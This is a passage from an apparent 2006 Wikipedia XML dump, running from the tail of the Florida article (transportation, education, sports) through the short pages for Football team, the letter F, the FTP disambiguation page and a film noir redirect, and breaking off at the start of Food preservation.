*[[Greenacres, Florida|Greenacres]]
*[[Hallandale Beach, Florida|Hallandale Beach]]
*[[Homestead, Florida|Homestead]]
*[[Jupiter, Florida|Jupiter]]
*[[Kendall West, Florida|Kendall West]]
*[[Lake Magdalene, Florida|Lake Magdalene]]
*[[Lake Worth, Florida|Lake Worth]]
*[[Lauderdale Lakes, Florida|Lauderdale Lakes]]
*[[North Fort Myers, Florida|North Fort Myers]]
*[[North Lauderdale, Florida|North Lauderdale]]
*[[Ocala, Florida|Ocala]]
*[[Ocoee, Florida|Ocoee]]
*[[Oakland Park, Florida|Oakland Park]]
*[[Ormond Beach, Florida|Ormond Beach]]
*[[Oviedo, Florida|Oviedo]]
*[[Palm Beach Gardens, Florida|Palm Beach Gardens]]
*[[Panama City, Florida|Panama City]]
*[[Pinellas Park, Florida|Pinellas Park]]
*[[Plant City, Florida|Plant City]]
*[[Port Orange, Florida|Port Orange]]
*[[Port Charlotte, Florida|Port Charlotte]]
*[[Riviera Beach, Florida|Riviera Beach]]
*[[Royal Palm Beach, Florida|Royal Palm Beach]]
*[[Sanford, Florida|Sanford]]
*[[Titusville, Florida|Titusville]]
*[[University, Florida|University]]
*[[Wellington, Florida|Wellington]]
*[[Westchester, Florida|Westchester]]
*[[Winter Haven, Florida|Winter Haven]]
*[[Winter Park, Florida|Winter Park]]
*[[Winter Springs, Florida|Winter Springs]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

==Miscellaneous information==
[[Image:OrangeBloss wb.jpg|thumb|right|Orange blossoms.]]
*Nickname: &quot;The Sunshine State&quot;
*State Bird: [[Mockingbird]]
*State Flower: [[Orange blossom]] - (Citrus sinensis)
*State Insect: [[Zebra Heliconian|Zebra Longwing Butterfly]] [http://www.wec.ufl.edu/extension/state_symbols/state_insect.htm]
*State Song: &quot;[[Old Folks at Home]] ([[Suwannee River]])&quot; by Stephen C. Foster
*State Tree: [[Sabal Palm]] 
*State Reptile: [[American Alligator]]
*State Animal: The [[Puma#Subspecies|Florida Panther]]
*State Marine Mammal: The [[West Indian Manatee]]
*State Saltwater Mammal: The [[Dolphin]]
*State Drink: [[Orange juice]]
*State Fruit: [[Orange (fruit)|Orange]]
*State Shell: The [[Conch|Horse Conch]] (The great band shell)
*State Saltwater Fish: The [[Sailfish]]
*State Freshwater Fish: Florida [[Largemouth Bass]]
*Highest Point: [[Britton Hill]]; 345 feet (105&amp;nbsp;m), 50th

==Transportation==
[[Image:Floridaplate2003.jpg|thumb|right|The sample version of Florida's [[license plate]] ]]
===Highways===
Florida's [[Interstate highway|interstates]], [[Florida State Roads|state highways]] and [[U.S. Highways]] are maintained by the [[Florida Department of Transportation]].  

Florida's interstate highway system contains 1,473 miles (2371&amp;nbsp;km) of highway, and there are 9,934 miles (15&amp;nbsp;987&amp;nbsp;km) of non-interstate highway in the state, such as [[Florida State Roads|Florida state highways]] and [[U.S. Highways]].

Florida's primary interstate routes include:
*[[Interstate 4|I-4]], which bisects the state, connecting [[Tampa]], [[Lakeland]], [[Orlando, Florida|Orlando]], and [[Daytona Beach]]
*[[Interstate 10|I-10]], which traverses the panhandle, connecting [[Jacksonville]], [[Lake City]], [[Tallahassee]], and [[Pensacola]]
*[[Interstate 75|I-75]], which enters the state near [[Lake City]] and continues southward through [[Gainesville, Florida|Gainesville]], [[Ocala]], [[Tampa]]'s eastern suburbs, [[Bradenton, Florida|Bradenton]], [[Sarasota, Florida|Sarasota]], and [[Fort Myers, Florida|Fort Myers]] to [[Naples]], where, as a [[toll road]] it crosses the &quot;Alligator Alley&quot; to [[Ft. Lauderdale, Florida|Fort Lauderdale]] 
*[[Interstate 95|I-95]], which enters the state near [[Jacksonville]] and continues along the Atlantic Coast through [[Daytona Beach]], [[Melbourne, Florida|Melbourne]], [[Palm Bay, Florida|Palm Bay]], [[West Palm Beach]], and [[Ft. Lauderdale]] before terminating near [[Miami]]

Florida's secondary interstate routes include:
*[[Interstate 110 (Florida)|I-110]], a spur from I-10 into downtown Pensacola
*[[Interstate 175 (Florida)|I-175]], which connects I-275 to southern downtown [[St. Petersburg, Florida|St. Petersburg]]
*[[Interstate 195 (Florida)|I-195]], an extension of Miami's Airport Expressway ([[State Road 112 (Florida)|S.R. 112]]); a spur eastward from I-95 to [[Miami Beach, Florida|Miami Beach]]
*[[Interstate 275 (Florida)|I-275]], a sixty-mile [http://www.kurumi.com/roads/3di/i275.html] westward loop from I-75 north of [[Ellenton, Florida|Ellenton]], over the [[Sunshine Skyway Bridge]], through [[St. Petersburg, Florida|St. Petersburg]], to [[Tampa International Airport]] and downtown [[Tampa, Florida|Tampa]], reconnecting with I-75 in [[Tampa, Florida|Tampa's]] northern suburbs
*[[Interstate 295 (Florida)|I-295]], a partial beltway around [[Jacksonville, Florida|Jacksonville]]
*[[Interstate 375 (Florida)|I-375]], which connects I-275 to northern downtown [[St. Petersburg, Florida|St. Petersburg]]
*[[Interstate 395 (Florida)|I-395]], an extension of Miami's Dolphin Expressway ([[State Road 836 (Florida)|S.R. 836]]); a spur eastward from I-95 to [[Miami Beach, Florida|Miami Beach]]
*[[Interstate 595 (Florida)|I-595]], which connects I-75, I-95, [[Fort Lauderdale-Hollywood International Airport]] and [[Port Everglades]]

Florida also has several [[toll road]]s, totalling 515 miles of the state highway system.  Major toll roads include:
*[[Interstate 75|I-75]], as it passes through the [[Everglades]] between [[Naples, Florida|Naples]] and [[Fort Lauderdale, Florida|Fort Lauderdale]] has been [[Grandfather clause|grandfathered]] as a toll road from its original construction as [[State Road 84 (Florida)|S.R. 84]]
*[[Florida's Turnpike]], which begins at Interstate 75 south of [[Ocala, Florida|Ocala]] and continues southeast through [[Orlando, Florida|Orlando]], and south through the western suburbs of [[Fort Lauderdale, Florida|Fort Lauderdale]] and [[Miami, Florida|Miami]], to [[Homestead, Florida|Homestead]]

For more information about the myriad secondary toll expressways in Florida, see articles detailing roads maintained by: the [[Florida's Turnpike|Florida Turnpike Authority]]; the [[Miami-Dade Expressway Authority]]; and the [[Orlando-Orange County Expressway Authority]].

===Intercity rail===
In 2000, voters approved a constitutional amendment to construct a high speed rail system to interconnect Florida's major cities. A committee was formed by the [[Florida Legislature]] to oversee the project. However, Governor [[Jeb Bush]] and other lawmakers pushed for an amendment in 2004 to remove the amendment, which succeeded. They stated that the cost would have been too high to construct the system; however, proponents of the system have said the claims regarding high cost were exaggerated and taken out of context, compared with the cost of building roads, maintaining automobiles, and so forth.  The [[Florida High Speed Rail|Florida High Speed Rail Authority]], originally formed to implement the high speed rail amendment, has vowed to find a way to implement the system without the amendment.

[[Amtrak]] service exists in Florida, but it is considered by many not to be extensive or convenient enough for anything but vacation travel.  [[Sanford, Florida|Sanford]], in [[Orlando-Kissimmee, Florida, Metropolitan Statistical Area|Greater Orlando]], is the southern terminus of the [[Auto Train (Amtrak)|Amtrak Auto Train]].

===Public transportation===
[[Public transportation]] systems exist in many major cities. [[Miami]] has a [[monorail]] system as well as a [[Metro|metro system]], and most cities have [[bus]] service. In the South Florida Metropolitan area, train service is provided by [[Tri-Rail]]; this service has a southern terminus in Miami and a northern terminus in West Palm Beach. It has been proposed that the northern terminus be extended north as far as Stuart, however no progress has been made at this time. Tri-Rail also provides local bus service from their stations.

[[Greyhound Lines|Greyhound]] provides commercial bus service between different cities in Florida.

===Airports===
Major international airports in Florida, with passenger traffic over 20 million annually, are [[Fort Lauderdale-Hollywood International Airport]], [[Miami International Airport]], [[Orlando International Airport]] and [[Tampa International Airport]]. 

Secondary airports, with annual passenger traffic over 7 million annually include [[Jacksonville International Airport]], [[Palm Beach International Airport]] (West Palm Beach), and [[Southwest Florida International Airport]] (Fort Myers).

There are many other smaller regional airports including those in [[Daytona Beach, Florida|Daytona Beach]], [[Fort Walton Beach, Florida|Fort Walton Beach]], [[Gainesville, Florida|Gainesville]], [[Key West, Florida|Key West]], [[Naples, Florida|Naples]], [[Pensacola, Florida|Pensacola]], [[Sarasota, Florida|Sarasota]], [[St. Petersburg, Florida|St. Petersburg]], and [[Tallahassee, Florida|Tallahassee]].

==Education and culture==
Florida's public school revenue per student and spending per $1000 of personal income usually ranks in the bottom 25% of U.S. states. Average teacher salaries rank near the middle of U.S. states. 

Florida public schools have consistently ranked in the bottom 25% of many national surveys and average test score rankings. It should be noted that many education surveys are not scientific, but do measure prestige. Governor [[Jeb Bush]] has been criticized by many Florida educators for a program that penalizes underperforming schools (as indicated by [[standardized test]]s, such as the [[FCAT]]) with fewer funding dollars, though supporters claim the program's tough measures have resulted in vast improvements to the education system. Major testing organizations frequently discount the use of state average test score rankings, or any average of scaled scores, as a valid metric (see [[psychometrics]] for more details on scaled test scores).

In 2000, Governor Bush and the state legislature acted to abolish the Board of Regents that governed the [[State University System of Florida]]. Instead, each public university is now controlled by its own Board of Trustees who are directly appointed by the governor. As is typical of executive-appointed government boards, the appointees so far have been overwhelmingly Republican. This has not been without controversy. [http://www.sptimes.com/News/050801/State/Bush_s_trustees_mostl.shtml] In 2002, [[United States Democratic Party|Democratic]] Senator [[Bob Graham]] started a ballot referendum designed to revert to the Board of Regents system.

===Colleges and universities===
[[Image:Uftower20031025.jpg|thumb|right|Century Tower, [[University of Florida]].]]
[[Image:FSUWestcottBuilding.jpg|thumb|right|The Westcott Building, [[Florida State University]].]]
[[Image:FIU-GreenLibrary.jpg|right|thumb|180px|The Green Library at [[Florida International University]].]]
[[Image:Sundomecloseup.JPG|right|thumb|180px|The [[USF Sun Dome|Sun Dome]] at the [[University of South Florida]].]]

{| border=&quot;0&quot;
|-
|valign=&quot;top&quot;|
*[[Barry University]]
*[[Bethune-Cookman College]]
*[[Brevard Community College]]
*[[Broward Community College]]
*[[Carlos Albizu University Miami campus]]
*[[Clearwater Christian College]]
*[[Eckerd College]]
*[[Edison College]]
*[[Edward Waters College]]
*[[Embry-Riddle Aeronautical University]]
*[[Flagler College]]
*[[Florida A&amp;M University]]
*[[Florida Atlantic University]]
*[[Florida Christian College]]
*[[Florida Coastal School of Law]]
*[[Florida Community College at Jacksonville]]
*[[Florida College]]
*[[Florida Gulf Coast University]]
*[[Florida Hospital College of Health Sciences]]
*[[Florida Institute of Technology]]
*[[Florida International University]]
*[[Florida Memorial College]]
*[[Florida Metropolitan University]]
*[[Florida Southern College]]
*[[Florida State University]]
*[[Full Sail Real World Education]]
*[[Heritage College &amp; Heritage Institute]]
*[[Hillsborough Community College]]
*[[Hobe Sound Bible College]]
*[[International College (Florida)|International College]]
*[[International Fine Arts College]]
*[[Jacksonville University]]
*[[Johnson And Wales University]]
*Jones College
*[[Lake City Community College]]
*[[Lake-Sumter Community College]]
|valign=&quot;top&quot;|
*[[Lynn University]]
*[[Manatee Community College]]
*[[Miami Dade College]]
*[[New College of Florida]]
*[[Northwood University]]
*[[Nova Southeastern University]]
*[[Okaloosa-Walton Community College]]
*[[Palm Beach Atlantic College]]
*[[Palm Beach Community College]]
*[[Pasco-Hernando Community College]]
*[[Pensacola Junior College]]
*[[Pensacola Christian College]]
*[[Polk Community College]]
*[[Ringling School of Art and Design]]
*[[Rollins College]]
*[[Saint John Vianney College Seminary]]
*[[Saint Leo University]]
*[[Santa Fe Community College]]
*[[St. Johns River Community College]]
*[[St. Petersburg College]]
*[[St. Thomas University (Florida)|St. Thomas University]]
*[[Seminole Community College]]
*[[South Florida Bible College and Theological Seminary]]
*[[Southeastern College of the Assemblies of God]]
*[[Stetson University]]
*[[Trinity College of Florida]]
*[[Troy State University Florida Region]]
*[[University of Central Florida]]
*[[University of Florida]]
*[[University of Miami]]
*[[University of North Florida]]
*[[University of South Florida]]
*[[University of Tampa]]
*[[University of West Florida]]
*[[Valencia Comunity College]]
*[[Warner Southern College]]
*[[Webber College]]
|}

==Sports==
===Major-league teams===
{| border=&quot;0&quot;
|-
|valign=&quot;top&quot;|
*[[National Football League]]
**[[Jacksonville Jaguars]]
**[[Tampa Bay Buccaneers]]
**[[Miami Dolphins]]
*[[National Basketball Association]]
**[[Orlando Magic]]
**[[Miami Heat]]
|valign=&quot;top&quot;|
*[[National Hockey League]]
**[[Tampa Bay Lightning]]
**[[Florida Panthers]]
*[[Major League Baseball]]
**[[Tampa Bay Devil Rays]]
**[[Florida Marlins]]
|valign=&quot;top&quot;|
*[[Arena Football League]]
**[[Orlando Predators]]
**[[Tampa Bay Storm]]
|}

===Spring training===
Florida is the traditional home for Major League Baseball spring training, with teams informally organized into the &quot;[[Grapefruit League]].&quot; [[As of 2004]], Florida hosts the following major league teams for spring training:

*[[Atlanta Braves]] at Walt Disney World
*[[Baltimore Orioles]] in Fort Lauderdale
*[[Boston Red Sox]] in Fort Myers
*[[Cincinnati Reds]] in Sarasota
*[[Cleveland Indians]] in Winter Haven
*[[Detroit Tigers]] in Lakeland
*[[Florida Marlins]] in Jupiter
*[[Houston Astros]] in Kissimmee
*[[Los Angeles Dodgers]] in Vero Beach
*[[Minnesota Twins]] in Fort Myers
*[[New York Mets]] in Port St. Lucie
*[[New York Yankees]] in Tampa
*[[Philadelphia Phillies]] in Clearwater
*[[Pittsburgh Pirates]] in Bradenton
*[[Saint Louis Cardinals]] in Jupiter
*[[Tampa Bay Devil Rays]] in St. Petersburg
*[[Toronto Blue Jays]] in Dunedin
*[[Washington Nationals]] in Viera

===Minor-league teams===
Florida also hosts the following [[minor league baseball]] teams:
{| border=&quot;0&quot;
|-
|valign=&quot;top&quot;|
*[[Brevard County Manatees]]
*[[Clearwater Threshers]]
*[[Daytona Cubs]]
*[[Dunedin Blue Jays]]
*[[Fort Myers Miracle]]
*[[Jacksonville Suns]]
*[[Jupiter Hammerheads]]
|valign=&quot;top&quot;|
*[[Lakeland Tigers]]
*[[Sarasota Reds]]
*[[St. Lucie Mets]]
*[[Tampa Yankees]]
*[[Palm Beach Cardinals]]
*[[Vero Beach Dodgers]]
|}

===Auto racing tracks===
*[[Daytona International Speedway]]
*[[Homestead-Miami Speedway]]
*[[Sebring Raceway]]
*[[St. Petersburg Raceway]]

==External links==
{{sisterlinks|Florida}}
* [http://www.myflorida.com The Official Portal of the State of Florida]
* [http://www.floridamemory.com/ Florida Memory Project] Over 300,000 photographs and documents from the State Library &amp; Archives of Florida
* [http://www.mediatico.com/en/newspapers/northamerica/usa/florida/ Florida Newspapers]
* [http://obit.obitlinkspage.com/fl.htm Florida Obituary Links Page]
* [http://www.dmv.org/fl-florida/department-motor-vehicles.php Florida DMV]
* [http://www.floridarivers.org/ Florida Rivers Discussion Forum]
* [http://www.flsouthern.edu Florida Southern College]
* [http://www.fsu.edu Florida State University]
* [http://ww.unf.edu University of North Florida]
* [http://florida.historical-markers.org Florida's Historical Markers]
* [http://www.genealogybuff.com/fl/ GenealogyBuff.com - Florida Library of Files]
* [http://www.iespana.es/Miami la Voie de Miami News]
* [http://roamingfeet.com/id22.htm Palm trees in Florida]
* [http://www.terragalleria.com/america/florida/ Photos of Florida - Terra Galleria]
* [http://www.anhinga.info/florida/index.html Roundtrips with a lot of pictures]
* [http://www.ufl.edu University of Florida]
* [http://quickfacts.census.gov/qfd/states/12000.html U.S. Census Bureau]
* [http://www.floridacountiesmap.com/index.html Florida Counties Maps]
* [http://www.blinkbits.com/rssfeeds/wikipedia.php?w=Florida Wikipedia Florida RSS Feed - Externally hosted] 

{{United_States}}
{{Florida}}

&lt;!-- interwiki --&gt;

[[Category:Florida|*]]
[[Category:States of the United States]]
[[Category:1845 establishments]]

[[ang:Florida]]
[[ar:فلوريدا]]
[[ast:Florida]]
[[bg:Флорида]]
[[ca:Florida]]
[[cs:Florida]]
[[cy:Fflorida]]
[[da:Florida]]
[[de:Florida]]
[[et:Florida]]
[[el:Φλόριντα]]
[[es:Florida]]
[[eo:Florido]]
[[fa:فلوریدا]]
[[fr:Floride]]
[[ga:Florida]]
[[gd:Florida]]
[[gl:Florida]]
[[ko:플로리다 주]]
[[hr:Florida]]
[[id:Florida]]
[[is:Flórída]]
[[it:Florida]]
[[he:פלורידה]]
[[la:Florida]]
[[lv:Florida]]
[[lt:Florida]]
[[lb:Florida]]
[[hu:Florida]]
[[mk:Флорида]]
[[ms:Florida]]
[[nl:Florida (staat)]]
[[ja:フロリダ州]]
[[no:Florida]]
[[nn:Florida]]
[[os:Флоридæ]]
[[pl:Floryda]]
[[pt:Flórida]]
[[ru:Флорида]]
[[sq:Florida]]
[[scn:Florida]]
[[simple:Florida]]
[[sk:Florida]]
[[sl:Florida]]
[[sr:Флорида]]
[[fi:Florida]]
[[sv:Florida]]
[[th:มลรัฐฟลอริดา]]
[[tr:Florida]]
[[vi:Florida]]
[[uk:Флорида]]
[[zh:佛罗里达州]]</text>
    </revision>
  </page>
  <page>
    <title>Football team</title>
    <id>10830</id>
    <revision>
      <id>41414135</id>
      <timestamp>2006-02-27T04:02:42Z</timestamp>
      <contributor>
        <username>Snottygobble</username>
        <id>111359</id>
      </contributor>
      <comment>/* Lists of Australian Rules Football teams */</comment>
      <text xml:space="preserve">A '''football team''' is the collective name given to a number of players who play together in a [[football]] game, be it [[Football (soccer)|Association football (soccer)]], [[Rugby union]], [[Rugby league]], [[Australian football|Australian Rules football]], [[American football]], [[Gaelic football]], or other version of football.

Often used as an alternative to the phrase &quot;football club&quot;, the '''team''' can refer to an incorporated club that might have several individual teams in different [[division (sport)|divisions]].

==Lists of association football teams==
*[[List of football clubs]]
*[[List of national football teams]]

*[[List of women's football clubs]]
*[[List of women's national football teams]]

==Lists of American Football teams==
*[[National Football League]]
*[[Super Bowl]]

==Lists of Australian Rules Football teams==
*[[Australian Football League]]
*[[South Australian National Football League]]
*[[Victorian Football League]]
*[[West Australian Football League]]
*[[List of Australian Rules Football Clubs]]


[[Category: football]]

[[lv:Futbola komanda]]</text>
    </revision>
  </page>
  <page>
    <title>F</title>
    <id>10831</id>
    <revision>
      <id>41851605</id>
      <timestamp>2006-03-02T03:43:35Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.226.116.167|68.226.116.167]] ([[User talk:68.226.116.167|talk]]) to last version by Zimbabweed</comment>
      <text xml:space="preserve">{{AZ|uc=F|lc=f}}

:''Are you looking for the article on the [[F Sharp programming language]]?''
:''You may have made your way to this page due to [[Wikipedia:Naming_conventions_%28technical_restrictions%29|technical limitations]] in Wikipedia.''

The letter '''F''' is the sixth letter in the [[Latin alphabet]]. Its name in [[English language|English]] is ''ef'', spelled ''eff'' when used as a verb. 

On [[alphanumeric keyboard]]s using the [[QWERTY]] layout, often the [[F]] and [[J]] keys (or occasionally the [[D]] and [[K]] keys) have a raised dot or bar on their surface, perceptible to the touch, to assist in typing, especially for the blind. All other keys can be found with their relative positions around these two keys as the index finger normally rests on F and J keys (or the middle finger in the case of D and K).

==History==
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse;text-align:center;&quot;
|-  bgcolor=&quot;#EEEEEE&quot;
! Proto-Semitic W
! Phoenician W
! Etruscan W
! Greek W
|-----
|[[Image:Proto-semiticW-01.png]]
|[[Image:PhoenicianW-01.png]]
|[[Image:EtruscanF-01.png]]
|[[Image:GreekDigamma-01.png]]
|}

The origin of F is the [[Semitic languages|Semitic]] letter ''wâw'' that represented the sound /w/, and originally probably represented a &quot;hook&quot; or a &quot;club&quot;.  The Phoenician form of the letter was adopted into Greek as a vowel, ''[[upsilon]]'' (which resembled its descendant, [[Y]], but was also ancestor to our letters [[U]], [[V]], and [[W]]); and with another form, as a consonant, ''[[digamma]]'', which resembled our letter F, but was pronounced /w/, as in Phoenician. (In later Greek, this [[phoneme]] disappeared, resulting in ''digamma'' being used as a numeral only).  

In Etruscan, F also stood for /w/; however, they came up with the innovation of using the [[Digraph (orthography)|digraph]] FH to represent the sound /f/, and the letter acquired this sound on its own when the Romans picked it up (since they had already borrowed U independently from Greek ''upsilon'' to stand for /w/).

The [[minuscule]] ''f'' is not to be confused with ''{{IPA|&amp;#383;}}'', the archaic ''[[long s]]'' (or ''medial s''). For example, &quot;sinfulness&quot; is rendered as &quot;{{IPA|&amp;#383;infulne&amp;#383;s}}&quot; using the ''long s''. The use of the ''long s'' died out by the end of the [[19th century]], largely to prevent confusion with ''f''.

==Phonetic use==

In [[English language|English]], F represents the [[voiceless labiodental fricative]] ({{IPA|[f]}} in [[International Phonetic Alphabet|IPA]]), although in certain words, such as &quot;of&quot;, it can be a [[voiced labiodental fricative]] ({{IPA|[v]}} in IPA). The [[Digraph (orthography)|digraph]] &quot;ff&quot;, pronounced {{IPA|[f]}}, is often used at the end of words (and, in rare personal or placenames, at the beginning). Both initial and final F are commonly used with other discrete consonants.

In other languages, F can take on different values, such as {{IPA|[&amp;#632;]}} ([[voiceless bilabial fricative]]) in Romanized [[Japanese language|Japanese]] or {{IPA|[v]}} in [[Welsh language|Welsh]] (which uses the &quot;ff&quot; digraph for IPA {{IPA|[f]}}). Different digraphs can also be used, such as &quot;pf&quot; in [[German language|German]] for the [[affricate]] formed by {{IPA|[p]}} and {{IPA|[f]}}.

==Codes for computing==
{{Letter
|NATO=Foxtrot
|Morse=··–·
|B1=●
|B2=●
|B3=○
|B4=●
|B5=○
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] F is codepoint U+0046 and the [[minuscule|lowercase]] f is U+0066.

The [[ASCII]] code for capital F is 70 and for lowercase f is 102; or in [[Binary numeral system|binary]] 01000110 and 01100110, correspondingly.

The [[EBCDIC]] code for capital F is 198 and for lowercase f is 134.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#70;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#102;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Ligatures==
[[Image:Ligature_drawing.png|thumb|left|75px|Common f ligatures]]
In formal [[typography]], particularly for [[serif]]ed fonts, [[minuscule]] f is one of the most commonly [[ligature (typography)|ligate]]d letters.
Unicode provides the following ligatures of f, l and i: '''&amp;#64256;''', '''&amp;#64257;''', '''&amp;#64258;''', '''&amp;#64259;''' and '''&amp;#64260;''' (U+fb00 through U+fb04).
&lt;br clear=&quot;all&quot; /&gt;

==Meanings for F==
* In [[acoustics]], F is the abbreviation for the [[formant]] that ordered with its [[frequency]] from low to high.
* In [[astronomy]],
** F stands for a March 16 through 31 discovery, in the provisional designation of a comet (e.g. [[D/1993 F2]], Comet Shoemaker-Levy 9) or asteroid (e.g. {{mpl|(3708) 1974 FV|1}}).
* In the [[Earth's atmosphere|atmosphere]] of [[Earth]], the [[F region|F layer]] is part of the [[ionosphere]].
* In [[biochemistry]], F is the symbol for [[phenylalanine]].
* In [[calendar]]s, F is often an abbreviation for [[Friday]], or for the [[month]] [[February]].
* In [[chemistry]], F is the symbol for [[fluorine]].
* In [[communication]]s, F sometimes stands for [[fax]] number.
* In [[computer science]], the [[F programming language ]] is a subset of Fortran 95, intended for educational and scientific use.
* In [[education]], F is a failing [[Grade (education)|grade]]
* In [[electronics]], an F [[connector]] (i.e. used for inlet in [[cablemodem]]s). See http://www.marine-electronics.net/techarticle/coax/f-con.htm
* In [[finance]], F is the [[New York Stock Exchange]] [[ticker symbol]]  for [[Ford Motor Company]].
* In [[grammar]], F is often an abbreviation for the female [[grammatical gender]].
* In [[information systems]], F is often used as an abbreviation for the female sex in personal data records.
* In [[language]], F is often used as mild censorship for the vulgar word, [[fuck]].
* In [[List of international license plate codes|international licence plate codes]], F stands for [[France]].
* In [[mathematics]], F is often used as a [[numerical digit|digit]] meaning ''[[fifteen]]'' in [[hexadecimal]] and other positional [[numeral system]]s with a [[radix]] of 16 or greater.
* In [[meteorology]], F is the abbreviation for the [[Fujita-Pearson Tornado Scale]] that classifies [[tornado]]es according to damage and associated wind speeds (F0 through F5).
* In the [[SI]] system, 
**F is the symbol for [[farad]], the [[SI derived unit]] for electric [[capacitance]].
**f, [[femto]], is the [[SI prefix]] meaning 10&lt;sup&gt;-15&lt;/sup&gt;.
* In [[music]],
** F is a [[note]].
** f is a notation for [[forte]].
* In [[optics]], ''f'' is the [[focal length]]
* In [[photography]], ''f'' is the [[focal length]] or the [[F-number|f-number]]
* In [[physics]], 
** ''F'' represents the [[Faraday constant]].  
** ''f'' is the [[variable]] for [[frequency]]
** F is used to indicate [[focal point]], such as in [[concave mirror]]s.
** ''F'' is used to represent [[force]] as in the equation ''F'' = ''m'' * ''a''
* In [[printing]], f. is an abbreviation for [[Bookbinding|folio]] (page in a book), although it is more common to see ff. as the plural form.
* In [[propositional logic]] F is the symbol for false.
* In [[radio]]communication, F is one of the [[ITU prefix]]es allocated to [[France]].
* In [[slang]], F can stand for [[felony]].  From the song &quot;Ebonics&quot; by [[Big L (rapper)|Big L]] - &quot;If you caught a felony / You caught a F&quot;.
* In [[temperature]], °F (or &amp;#8457;, Unicode U+2109) is degrees [[Fahrenheit]].

==Variants of F==
* The '''F with hook''' or '''script F''' (Unicode U+0191 and U+0192, &amp;#401; and ƒ) is used in the transcription of [[Kabye language|Kabye]] and other West African languages for the [[voiceless bilabial fricative]]. Lowercase ƒ is the [[monetary symbol]] for the Dutch [[florin]] (which no longer exists as of the introduction of the [[Euro]]), as well as the mathematical symbol of ''function''
* '''F with dot above''' (Unicode U+1e1e and U+1e1f, &amp;#7710; and &amp;#7711;) is used in the old orthography of [[Irish language|Irish]]
* The [[French Franc]] can be written FF or &amp;#8355; (Unicode U+20a3)
* In mathematics, the '''script capital F''' (Unicode U+2131, &amp;#8497;) represents the [[Fourier transform]]
* There also exists:
** The '''turned capital F''' (Unicode U+2132, &amp;#8498;), which is a letter that the Roman Emperor [[Claudius]] attempted to add to the [[Latin alphabet]], the &quot;[[digamma inversum]]&quot;. (There's no &quot;turned small f&quot; because were no [[minuscule]] letters at that time.) 
** The '''parenthesized small F''' (Unicode U+24a1, &amp;#9377;)
** The '''circled F''' (Unicode U+24bb and U+24d5, &amp;#9403; and &amp;#9429;)

==See also==
{{AZsubnav}}

[[Category:Latin letters]]

[[als:F]]
[[ar:F]]
[[bs:F]]
[[ca:F]]
[[sn:F]]
[[cs:F]]
[[da:F]]
[[de:F]]
[[el:F]]
[[es:F]]
[[eo:F]]
[[fr:F]]
[[gl:F]]
[[ko:F]]
[[hr:F]]
[[id:F]]
[[it:F]]
[[he:F]]
[[kw:F]]
[[la:F]]
[[hu:F]]
[[nl:F]]
[[ja:F]]
[[no:F]]
[[nn:F]]
[[pl:F]]
[[pt:F]]
[[ro:F]]
[[ru:F (буква)]]
[[simple:F]]
[[sl:F]]
[[fi:F]]
[[sv:F]]
[[tl:F]]
[[vi:F]]
[[to:F]]
[[tr:F]]
[[yo:F]]
[[zh:F]]</text>
    </revision>
  </page>
  <page>
    <title>FTP</title>
    <id>10832</id>
    <revision>
      <id>39511194</id>
      <timestamp>2006-02-14T00:30:09Z</timestamp>
      <contributor>
        <username>Gssh4life</username>
        <id>719431</id>
      </contributor>
      <text xml:space="preserve">The abbreviation '''FTP''' can refer to:
* The [[File Transfer Protocol]] used on the [[Internet]]. 
* The [[Federal Theater Project]], a [[United States of America|U.S.]] [[New Deal]] project.
* the ''[[Franc Tireurs Partisans]]'' (&quot;Partisan irregular riflemen&quot;), a Communist [[French Resistance]] movement during the [[Second World War]].
* [[Foiled twisted pair]] [[cable|cabling]].
* &quot;For ten points&quot;, an abbreviation often used in [[quizbowl]] questions.
* ''Fuck the [[Pope]]'', or ''Fuck the [[Provisional Irish Republican Army|Provos]]'', used by supporters of [[United Kingdom|British]] rule in [[Northern Ireland]].
{{disambig}}

[[de:FTP]]
[[fr:FTP]]
[[sv:FTP]]</text>
    </revision>
  </page>
  <page>
    <title>Film noir/Film list</title>
    <id>10833</id>
    <revision>
      <id>33882937</id>
      <timestamp>2006-01-04T20:37:29Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;List of films noir&quot; +&quot;List of film noir&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[List of film noir]]</text>
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  </page>
  <page>
    <title>Food preservation</title>
    <id>10834</id>
    <revision>
      <id>41839971</id>
      <timestamp>2006-03-02T02:06:42Z</timestamp>
      <contributor>
        <username>Dcandeto</username>
        <id>70441</id>
      </contributor>
      <comment>Revert to revision 41778141 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Konservering.jpg|thumb|300px|Various preserved foods]]
'''Food preservation''' is the process of treating and handling [[food]] in such a way as to stop or greatly slow down spoilage to prevent [[foodborne illness]] while maintaining [[nutrition]]al value, texture and [[flavor]]. 

== Preservation Processes ==
{| width=&quot;350&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin: 0em 0em 1em 1em;&quot;
! Method
! Effect on microbial growth or survival 
|-
| [[Refrigeration]] or chilling
| Low temperature to retard growth
|-
| [[Freezing]]
| Low temperature and reduction of water activity to prevent growth
|-
| [[Drying_(food)|Drying]], [[curing]] and conserving
| Reduction in [[water activity]] sufficient to delay or prevent growth
|-
| [[Vacuum]] and [[oxygen]] free [[modified atmosphere]] packaging
| Low [[oxygen]] tension inhibits strict [[aerobe]]s and delay growth of facultative [[Anaerobic organism|anaerobe]]s
|-
| Carbon dioxide enriched modified atmosphere packaging
| Specific inhibition of some micro-organisms by [[carbon dioxide]]
|-
| Addition of [[weak acid]]s
| Reduction of the intracellular [[pH]] of micro-organisms
|-
| [[Lactic acid|Lactic]] [[fermentation]]
| Reduction of pH value ''in situ'' by microbial action and sometimes additional inhibition by the lactic and [[acetic acid]]s formed and by other microbial products. (e.g. [[ethanol]], [[bacteriocin]]s)
|-
| [[Sugar]] preservation
